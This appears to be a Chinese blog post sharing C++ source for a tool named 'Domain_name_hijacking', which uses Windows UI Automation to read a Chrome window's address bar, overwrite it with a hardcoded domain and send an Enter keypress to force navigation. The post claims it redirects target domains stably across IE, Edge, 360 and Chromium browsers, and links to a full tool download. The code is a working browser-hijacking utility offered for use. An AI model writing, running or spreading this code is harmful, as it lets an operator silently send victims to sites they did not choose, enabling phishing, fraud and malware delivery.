VS2018 编写,利用 UIAutomation 获取当前浏览器地址并跳转到指定地址上。
stdafx.h 头文件
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//
#pragma once
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
#define _WIN32_DCOM
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
#ifndef VC_EXTRALEAN
#define VC_EXTRALEAN // 从 Windows 头中排除极少使用的资料
#endif
#include <afx.h>
#include <afxwin.h> // MFC 核心组件和标准组件
#include <afxext.h> // MFC 扩展
#ifndef _AFX_NO_OLE_SUPPORT
#include <afxdtctl.h> // MFC 对 Internet Explorer 4 公共控件的支持
#endif
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC 对 Windows 公共控件的支持
#endif // _AFX_NO_AFXCMN_SUPPORT
#include <iostream>
// TODO: 在此处引用程序需要的其他头文件
#include <comdef.h>
#include <objbase.h>
#include <AtlBase.h>
#include <AtlCom.h>
#include <UIAutomation.h>
#pragma comment(lib, "ole32.lib")
Domain_name_hijacking.cpp 文件
// Domain_name_hijacking.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include "Domain_name_hijacking.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// 唯一的应用程序对象
CWinApp theApp;
using namespace std;
bool find_url(IUIAutomation* uia, IUIAutomationElement* root)
{
// The root window has several childs,
// one of them is a "pane" named "Google Chrome"
// This contains the toolbar. Find this "Google Chrome" pane:
CComPtr<IUIAutomationElement> pane;
CComPtr<IUIAutomationCondition> pane_cond;
uia->CreatePropertyCondition(UIA_ControlTypePropertyId,
CComVariant(UIA_PaneControlTypeId), &pane_cond);
CComPtr<IUIAutomationElementArray> arr;
if FAILED(root->FindAll(TreeScope_Children, pane_cond, &arr))
return false;
int count = 0;
arr->get_Length(&count);
for (int i = 0; i < count; i++)
{
CComBSTR name;
if SUCCEEDED(arr->GetElement(i, &pane))
if SUCCEEDED(pane->get_CurrentName(&name))
if (wcscmp(name, L"Google Chrome") == 0)
break;
pane.Release();
}
if (!pane)
return false;
//look for first UIA_EditControlTypeId under "Google Chrome" pane
CComPtr<IUIAutomationElement> url;
CComPtr<IUIAutomationCondition> url_cond;
uia->CreatePropertyCondition(UIA_ControlTypePropertyId,
CComVariant(UIA_EditControlTypeId), &url_cond);
if FAILED(pane->FindFirst(TreeScope_Descendants, url_cond, &url))
return false;
//get value of `url`
CComVariant var;
if FAILED(url->GetCurrentPropertyValue(UIA_ValueValuePropertyId, &var))
return false;
if (!var.bstrVal)
return false;
wprintf(L"find_url: %s\n", var.bstrVal);
//set new address ...
IValueProvider* pattern = nullptr;
if (FAILED(url->GetCurrentPattern(UIA_ValuePatternId, (IUnknown**)&pattern)))
return false;
pattern->SetValue(L"www.chwm.vip");
pattern->Release();
INPUT input[2] = { INPUT_KEYBOARD };
input[0].ki.wVk = VK_RETURN;
input[1] = input[0];
input[1].ki.dwFlags |= KEYEVENTF_KEYUP;
SendInput(2, input, sizeof(INPUT));
return true;
}
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
//find the first visible chrome window
HWND hwnd = nullptr;
while (true)
{
hwnd = FindWindowEx(nullptr, hwnd, L"Chrome_WidgetWin_1", nullptr);
if (!hwnd)
return 0;
if (IsWindowVisible(hwnd) && GetWindowTextLength(hwnd) > 0)
break;
}
CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
CComPtr<IUIAutomation> uia;
if SUCCEEDED(uia.CoCreateInstance(CLSID_CUIAutomation))
{
CComPtr<IUIAutomationElement> root;
if SUCCEEDED(uia->ElementFromHandle(hwnd, &root))
find_url(uia, root);
uia.Release();
}
CoUninitialize();
return 0;
}
1、当前版本为仅支持单域名检测与跳转。
2、程序经过反复测试,目前能十分稳定的将目标域名跳转到指定域名上。
3、Windows 7 下兼容 IE、edge、360系列、谷歌、Chrome内核系列等等浏览器。
4、Windows 10 / 11 下兼容 IE、edge、360安全、谷歌等浏览器(部分Chrome内核浏览器没详细测试)。
5、Windows 10 / 11 下 360极速浏览器、360极速浏览器X 目前无法支持(一如既往的流氓)。
完整工具下载地址:https://download.youkuaiyun.com/download/qq_39190622/87450780
有能力的请自行二次开发吧。